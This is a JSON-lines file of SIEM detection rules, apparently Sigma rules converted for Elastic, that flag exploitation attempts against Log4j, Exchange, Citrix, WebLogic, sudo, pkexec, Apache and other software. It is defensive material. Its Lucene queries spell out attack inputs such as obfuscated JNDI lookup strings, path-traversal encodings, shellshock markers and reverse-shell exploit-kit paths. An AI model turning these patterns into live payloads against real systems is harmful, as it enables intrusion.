{"description": "Detects exploitation attempt against Citrix Netscaler, Application Delivery Controller (ADS) and Citrix Gateway exploiting vulnerabilities reported as CVE-2020-8193 and CVE-2020-8195", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "8a632484-a557-20f8-4b37-f0676ff43c21", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Citrix ADS Exploitation CVE-2020-8193 CVE-2020-8195", "query": "(url.original:*\\/rapi\\/filedownload?filter\\=path\\:%2F* OR (url.original:*\\/pcidss\\/report* AND url.original:*type\\=all_signatures* AND url.original:*sig_name\\=_default_signature_*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 in different header fields found in web server logs (Log4Shell)", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Vulnerability scanning"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "7e7f80ed-10d9-3a1e-5b2e-ab66865ccdf6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Log4j RCE CVE-2021-44228 in Fields", "query": "((cs-user-agent:(*$\\{jndi\\:ldap\\:\\/* OR *$\\{jndi\\:rmi\\:\\/* OR *$\\{jndi\\:ldaps\\:\\/* OR *$\\{jndi\\:dns\\:\\/* OR *\\/$%7bjndi\\:* OR *%24%7bjndi\\:* OR *$%7Bjndi\\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\\{jndi\\:$\\{lower\\:* OR *$\\{\\:\\:\\-j\\}$\\{* OR *$\\{jndi\\:nis* OR *$\\{jndi\\:nds* OR *$\\{jndi\\:corba* OR *$\\{jndi\\:iiop* OR *Reference\\ Class\\ Name\\:\\ foo* OR *$\\{$\\{env\\:BARFOO\\:\\-j\\}* OR *$\\{\\:\\:\\-l\\}$\\{\\:\\:\\-d\\}$\\{\\:\\:\\-a\\}$\\{\\:\\:\\-p\\}* OR *$\\{base64\\:JHtqbmRp* OR *$\\{$\\{env\\:ENV_NAME\\:\\-j\\}ndi$\\{env\\:ENV_NAME\\:\\-\\:\\}$* OR *$\\{$\\{lower\\:j\\}ndi\\:* OR *$\\{$\\{upper\\:j\\}ndi\\:* OR *$\\{$\\{\\:\\:\\-j\\}$\\{\\:\\:\\-n\\}$\\{\\:\\:\\-d\\}$\\{\\:\\:\\-i\\}\\:*)) OR (cs-uri-query:(*$\\{jndi\\:ldap\\:\\/* OR *$\\{jndi\\:rmi\\:\\/* OR *$\\{jndi\\:ldaps\\:\\/* OR *$\\{jndi\\:dns\\:\\/* OR *\\/$%7bjndi\\:* OR *%24%7bjndi\\:* OR *$%7Bjndi\\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\\{jndi\\:$\\{lower\\:* OR *$\\{\\:\\:\\-j\\}$\\{* OR *$\\{jndi\\:nis* OR *$\\{jndi\\:nds* OR *$\\{jndi\\:corba* OR *$\\{jndi\\:iiop* OR *Reference\\ Class\\ Name\\:\\ foo* OR *$\\{$\\{env\\:BARFOO\\:\\-j\\}* OR *$\\{\\:\\:\\-l\\}$\\{\\:\\:\\-d\\}$\\{\\:\\:\\-a\\}$\\{\\:\\:\\-p\\}* OR *$\\{base64\\:JHtqbmRp* OR *$\\{$\\{env\\:ENV_NAME\\:\\-j\\}ndi$\\{env\\:ENV_NAME\\:\\-\\:\\}$* OR *$\\{$\\{lower\\:j\\}ndi\\:* OR *$\\{$\\{upper\\:j\\}ndi\\:* OR *$\\{$\\{\\:\\:\\-j\\}$\\{\\:\\:\\-n\\}$\\{\\:\\:\\-d\\}$\\{\\:\\:\\-i\\}\\:*)) OR (cs-referer:(*$\\{jndi\\:ldap\\:\\/* OR *$\\{jndi\\:rmi\\:\\/* OR *$\\{jndi\\:ldaps\\:\\/* OR *$\\{jndi\\:dns\\:\\/* OR *\\/$%7bjndi\\:* OR *%24%7bjndi\\:* OR *$%7Bjndi\\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\\{jndi\\:$\\{lower\\:* OR *$\\{\\:\\:\\-j\\}$\\{* OR *$\\{jndi\\:nis* OR *$\\{jndi\\:nds* OR *$\\{jndi\\:corba* OR *$\\{jndi\\:iiop* OR *Reference\\ Class\\ Name\\:\\ foo* OR *$\\{$\\{env\\:BARFOO\\:\\-j\\}* OR *$\\{\\:\\:\\-l\\}$\\{\\:\\:\\-d\\}$\\{\\:\\:\\-a\\}$\\{\\:\\:\\-p\\}* OR *$\\{base64\\:JHtqbmRp* OR *$\\{$\\{env\\:ENV_NAME\\:\\-j\\}ndi$\\{env\\:ENV_NAME\\:\\-\\:\\}$* OR *$\\{$\\{lower\\:j\\}ndi\\:* OR *$\\{$\\{upper\\:j\\}ndi\\:* OR *$\\{$\\{\\:\\:\\-j\\}$\\{\\:\\:\\-n\\}$\\{\\:\\:\\-d\\}$\\{\\:\\:\\-i\\}\\:*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", "", "", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects exploitation attempt of privilege escalation vulnerability via SetupComplete.cmd and PartnerSetupComplete.cmd described in CVE-2019-1378", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "465cf453-8cfb-5575-6638-44766c02fbac", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Exploiting SetupComplete.cmd CVE-2019-1378", "query": "((process.parent.command_line:*\\\\cmd.exe* AND process.parent.command_line:*\\/c* AND process.parent.command_line:*C\\:\\\\Windows\\\\Setup\\\\Scripts\\\\* AND process.parent.command_line:(*SetupComplete.cmd OR *PartnerSetupComplete.cmd)) AND (NOT (process.executable:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\* OR C\\:\\\\Windows\\\\WinSxS\\\\* OR C\\:\\\\Windows\\\\Setup\\\\*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1059", "T1068", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1068", "name": "Exploitation for Privilege Escalation", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "oscd.community", "Jonhnathan Ribeiro"], "license": ""}
{"description": "Detects exploitation attempt of the CVE-2021-27905 which affects all Apache Solr versions prior to and including 8.8.1.", "author": ["@gott_cyber"], "enabled": false, "false_positives": ["Vulnerability Scanners"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "35cc86ae-bc6e-7848-6d27-f504ef8016ef", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential CVE-2021-27905 Exploitation Attempt", "query": "(http.response.status_code:\"200\" AND (((cs-uri-query:*\\/solr\\/* AND cs-uri-query:*\\/debug\\/dump?* AND cs-uri-query:*param\\=ContentStream*)) OR ((http.request.method:\"GET\" AND cs-uri-query:*\\/solr\\/* AND cs-uri-query:*command\\=fetchindex* AND cs-uri-query:*masterUrl\\=*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects exploitation attempt of the OWASSRF variant targeting exchange servers It uses the OWA endpoint to access the powershell backend endpoint", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Web vulnerability scanners"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "8c09ae64-2c1f-4631-a884-2f22c351c6c6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential OWASSRF Exploitation Attempt - Proxy", "query": "((http.request.method:\"POST\" AND http.response.status_code:\"200\" AND url.original:*\\/owa\\/* AND url.original:*\\/powershell* AND url.original:(*@* OR *%40*)) AND (NOT (user_agent.original:(\"ClientInfo\" OR \"Microsoft WinRM Client\" OR \"Exchange BackEnd Probes\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects exploitation attempt of the OWASSRF variant targeting exchange servers It uses the OWA endpoint to access the powershell backend endpoint", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Web vulnerability scanners"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "55639830-216c-0f32-5176-3b0f4fb8b6e4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential OWASSRF Exploitation Attempt - Webserver", "query": "((http.request.method:\"POST\" AND http.response.status_code:\"200\" AND cs-uri-query:*\\/owa\\/* AND cs-uri-query:*\\/powershell* AND cs-uri-query:(*@* OR *%40*)) AND (NOT (cs-user-agent:(\"ClientInfo\" OR \"Microsoft WinRM Client\" OR \"Exchange BackEnd Probes\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects exploitation attempt of the OWASSRF variant targeting exchange servers using publicly available POC. It uses the OWA endpoint to access the powershell backend endpoint", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "1b85dd30-572e-e732-1f24-45a0624f716e", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "OWASSRF Exploitation Attempt Using Public POC - Proxy", "query": "(user_agent.original:\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.54 Safari/537.36\" AND http.request.method:\"POST\" AND http.response.status_code:\"200\" AND url.original:*\\/owa\\/mastermailbox* AND url.original:*\\/powershell*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects exploitation attempt of the OWASSRF variant targeting exchange servers using publicly available POC. It uses the OWA endpoint to access the powershell backend endpoint", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "660c737a-d1f2-0548-5f57-1eb5f6383598", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "OWASSRF Exploitation Attempt Using Public POC - Webserver", "query": "(cs-user-agent:\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.54 Safari/537.36\" AND http.request.method:\"POST\" AND http.response.status_code:\"200\" AND cs-uri-query:*\\/owa\\/mastermailbox* AND cs-uri-query:*\\/powershell*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects exploitation attempt of vulnerability described in CVE-2021-3156. | Alternative approach might be to look for flooding of auditd logs due to bruteforcing | required to trigger the heap-based buffer overflow.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "45ee2fef-4720-98d6-0cac-238568acd025", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CVE-2021-3156 Exploitation Attempt", "query": "(type:\"SYSCALL\" AND exe:\"\\/usr\\/bin\\/sudoedit\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1068"], "to": "now", "type": "threshold", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1068", "name": "Exploitation for Privilege Escalation", "reference": ""}]}], "version": 1, "threshold": {"field": "host", "value": 51}, "references": [""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects exploitation attempt of vulnerability described in CVE-2021-3156.\nAlternative approach might be to look for flooding of auditd logs due to bruteforcing\nrequired to trigger the heap-based buffer overflow.\n", "author": ["Bhabesh Raj"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "45ee2fef-4720-98d6-0cac-238568acd025", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CVE-2021-3156 Exploitation Attempt", "query": "((type:\"EXECVE\" AND a0:\"/usr/bin/sudoedit\") AND ((a1:\"-s\") OR (a2:\"-s\") OR (a3:\"-s\") OR (a4:\"-s\")) AND ((a1:\"\\\") OR (a2:\"\\\") OR (a3:\"\\\") OR (a4:\"\\\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1068"], "to": "now", "type": "threshold", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1068", "name": "Exploitation for Privilege Escalation", "reference": ""}]}], "version": 1, "threshold": {"field": "host", "value": 51}, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects exploitation attempt of vulnerability described in CVE-2021-4034.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "e8d7eba9-55ee-27e6-3349-8a1d9f86f15a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CVE-2021-4034 Exploitation Attempt", "query": "(type:\"PROCTITLE\" AND proctitle:\"\$null\$\" AND type:\"SYSCALL\" AND comm:\"pkexec\" AND exe:\"\\/usr\\/bin\\/pkexec\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1068"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1068", "name": "Exploitation for Privilege Escalation", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Pawel Mazur"], "license": ""}
{"description": "Detects exploitation attempt using public exploit code for CVE-2018-15473", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "64701a96-8b2b-28a3-7259-ae908e0b94cd", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "SSHD Error Message CVE-2018-15473", "query": "\"error\\:\\ buffer_get_ret\\:\\ trying\\ to\\ get\\ more\\ bytes\\ 1907\\ than\\ in\\ buffer\\ 308\\ \\[preauth\\]\"", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects exploitation attempt using the JDNIExploiit Kit", "enabled": false, "false_positives": ["Legitimate apps the use these paths"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "557b36fa-4dff-7775-e0ab-4ff26dedaee7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "JNDIExploit Pattern", "query": "(*\\/Basic\\/Command\\/Base64\\/* OR *\\/Basic\\/ReverseShell\\/* OR *\\/Basic\\/TomcatMemshell* OR *\\/Basic\\/JettyMemshell* OR *\\/Basic\\/WeblogicMemshell* OR *\\/Basic\\/JBossMemshell* OR *\\/Basic\\/WebsphereMemshell* OR *\\/Basic\\/SpringMemshell* OR *\\/Deserialization\\/URLDNS\\/* OR *\\/Deserialization\\/CommonsCollections1\\/Dnslog\\/* OR *\\/Deserialization\\/CommonsCollections2\\/Command\\/Base64\\/* OR *\\/Deserialization\\/CommonsBeanutils1\\/ReverseShell\\/* OR *\\/Deserialization\\/Jre8u20\\/TomcatMemshell* OR *\\/TomcatBypass\\/Dnslog\\/* OR *\\/TomcatBypass\\/Command\\/* OR *\\/TomcatBypass\\/ReverseShell\\/* OR *\\/TomcatBypass\\/TomcatMemshell* OR *\\/TomcatBypass\\/SpringMemshell* OR *\\/GroovyBypass\\/Command\\/* OR *\\/WebsphereBypass\\/Upload\\/*)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects exploitation attempts in Exchange server logs as described in blog posts reporting on HAFNIUM group activity", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Legitimate access to other web applications that use the same folder names as Exchange (e.g. owa, ecp) but are not Microsoft Exchange related"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "49cc97bf-7a0b-619a-fa7e-06be1ae4f9a7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Exchange Exploitation Used by HAFNIUM", "query": "(http.request.method:\"POST\" AND ((cs-uri-query:*\\/owa\\/auth\\/Current\\/themes\\/resources\\/*) OR ((cs-uri-query:*\\/owa\\/auth\\/Current\\/* AND cs-user-agent:(\"DuckDuckBot/1.0;+(+)\" OR \"facebookexternalhit/1.1+(+)\" OR \"Mozilla/5.0+(compatible;+Baiduspider/2.0;++)\" OR \"Mozilla/5.0+(compatible;+Bingbot/2.0;++)\" OR \"Mozilla/5.0+(compatible;+Googlebot/2.1;++\" OR \"Mozilla/5.0+(compatible;+Konqueror/3.5;+Linux)+KHTML/3.5.5+(like+Gecko)+(Exabot-Thumbnails)\" OR \"Mozilla/5.0+(compatible;+Yahoo!+Slurp;+)\" OR \"Mozilla/5.0+(compatible;+YandexBot/3.0;++)\" OR \"Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/51.0.2704.103+Safari/537.36\"))) OR ((cs-uri-query:*\\/ecp\\/* AND cs-user-agent:(\"ExchangeServicesClient/0.0.0.0\" OR \"python-requests/2.19.1\" OR \"python-requests/2.25.1\"))) OR ((cs-uri-query:(*\\/aspnet_client\\/* OR *\\/owa\\/*) AND cs-user-agent:(\"antSword/v2.1\" OR \"Googlebot/2.1+(+)\" OR \"Mozilla/5.0+(compatible;+Baiduspider/2.0;++)\"))) OR (cs-uri-query:(*\\/owa\\/auth\\/Current\\/* OR *\\/ecp\\/default.flt* OR *\\/ecp\\/main.css*)) OR ((cs-uri-query:*\\/ecp\\/* AND cs-uri-query:*.js*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects exploitation attempts of Sitecore Experience Platform Pre-Auth RCE CVE-2021-42237 found in Report.ashx", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Vulnerability Scanning"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "8402a687-0aef-4cc9-c86d-a0b34a25c050", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Sitecore Pre-Auth RCE CVE-2021-42237", "query": "(http.request.method:\"POST\" AND cs-uri-query:*\\/sitecore\\/shell\\/ClientBin\\/Reporting\\/Report.ashx* AND http.response.status_code:\"200\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects exploitation attempts of the SonicWall Jarrewrite Exploit", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "292ff931-1202-e94d-154f-e4334289b56f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "SonicWall SSL/VPN Jarrewrite Exploit", "query": "(cs-uri-query:*\\/cgi\\-bin\\/jarrewrite.sh* AND cs-user-agent:(*\\:;* OR *\$\$\\ \\{* OR *\\/bin\\/bash\\ \\-c*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects exploitation attempts on Cisco ASA FTD systems exploiting CVE-2020-3452 with a status code of 200 (sccessful exploitation)", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "c1762626-6b1d-bfde-9a90-96aeb8a74b9b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Cisco ASA FTD Exploit CVE-2020-3452", "query": "(cs-uri-query:(*\\+CSCOT\\+\\/translation\\-table* OR *\\+CSCOT\\+\\/oem\\-customization*) AND cs-uri-query:(*&textdomain\\=\\/* OR *&textdomain\\=%* OR *&name\\=\\/* OR *&name\\=%*) AND http.response.status_code:\"200\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects exploitation attempts on WebLogic servers", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "d4a1b9bb-4641-7edf-7223-fa82153749d9", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Oracle WebLogic Exploit CVE-2020-14882", "query": "cs-uri-query:(*\\/console\\/images\\/%252E%252E%252Fconsole.portal* OR *\\/console\\/css\\/%2e*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects exploitation attempts using file upload vulnerability CVE-2021-22005 in the VMWare vCenter Server.", "author": ["Sittikorn S"], "enabled": false, "false_positives": ["Vulnerability Scanning"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "57ba7340-ae7d-f518-c60a-7fa58f540f59", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "VMware vCenter Server File Upload CVE-2021-22005", "query": "(http.request.method:\"POST\" AND cs-uri-query:*\\/analytics\\/telemetry\\/ph\\/api\\/hyper\\/send?*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects exploitation of DNS RCE bug reported in CVE-2020-1350 by the detection of suspicious sub process", "enabled": false, "false_positives": ["Unknown but benign sub processes of the Windows DNS service dns.exe"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0d5399a8-a3ab-deb1-f315-a50443577d43", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "DNS RCE CVE-2020-1350", "query": "(process.parent.executable:*\\\\System32\\\\dns.exe AND (NOT (process.executable:(*\\\\System32\\\\werfault.exe OR *\\\\System32\\\\conhost.exe OR *\\\\System32\\\\dnscmd.exe OR *\\\\System32\\\\dns.exe))))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190", "T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}, {"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects exploitation of flaw in path normalization in Apache HTTP server 2.4.49.\nAn attacker could use a path traversal attack to map URLs to files outside the expected document root.\nIf files outside of the document root are not protected by \"require all denied\" these requests can succeed.\nAdditionally this flaw could leak the source of interpreted files like CGI scripts.\nThis issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.\n", "author": ["daffainfo", "Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "adb19216-a2d5-40d5-70ee-c6c0bf4df856", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CVE-2021-41773 Exploitation Attempt", "query": "(cs-uri-query:(*\\/cgi\\-bin\\/.%2e\\/* OR *\\/icons\\/.%2e\\/* OR *\\/cgi\\-bin\\/.%%32%65\\/* OR *\\/icons\\/.%%32%65\\/* OR *\\/cgi\\-bin\\/.%%%25%33* OR *\\/icons\\/.%%%25%33*) AND http.response.status_code:(\"200\" OR \"301\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", "", "", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects exploitation of Nimbuspwn privilege escalation vulnerability (CVE-2022-29799 and CVE-2022-29800)", "author": ["Bhabesh Raj"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "0acd51f6-a0c7-7184-4411-bf0213fc1ea7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Nimbuspwn Exploitation", "query": "(*networkd-dispatcher* AND *Error handling notification for interface* AND *../../*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1068"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1068", "name": "Exploitation for Privilege Escalation", "reference": ""}]}], "version": 1, "references": ["", ""], "license": 